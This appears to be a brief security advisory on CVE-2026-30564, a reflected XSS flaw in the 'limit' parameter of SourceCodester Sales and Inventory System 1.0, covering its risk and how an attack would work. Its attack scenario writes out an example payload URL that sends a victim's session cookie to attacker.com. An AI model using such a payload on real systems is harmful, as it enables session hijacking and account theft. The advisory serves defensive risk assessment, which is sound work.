PHP CVE-2026-30564

While CVSS and EPSS scores are unavailable, the presence of publicly available exploit code significantly elevates practical risk. Reflected XSS vulnerabilities are trivial to exploit (no authentication required, low attack complexity) and have direct impact on confidentiality and integrity through session hijacking or malware distribution. The attack vector is network-based and requires only that a victim click a crafted link-a social engineering vector with high success rates. The absence of CVSS data prevents quantitative risk scoring, but the combination of easy exploitability, public POC availability, and the web-facing nature of the application (PHP inventory system) indicates this should be treated as a high-priority remediation target. Organizations running SourceCodester Sales and Inventory System 1.0 facing external access are at elevated risk for account compromise and data theft.

An attacker crafts a malicious URL containing JavaScript in the 'limit' parameter (e.g., view_payments.php?limit=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and distributes it via phishing email or social media to users of the inventory system. When a logged-in user clicks the link, the JavaScript executes in their browser with the privileges of their session, exfiltrating their session cookies to the attacker's server, enabling account takeover without requiring credentials. Publicly available POC code on GitHub provides a ready-made example, lowering the barrier to exploitation for non-technical attackers.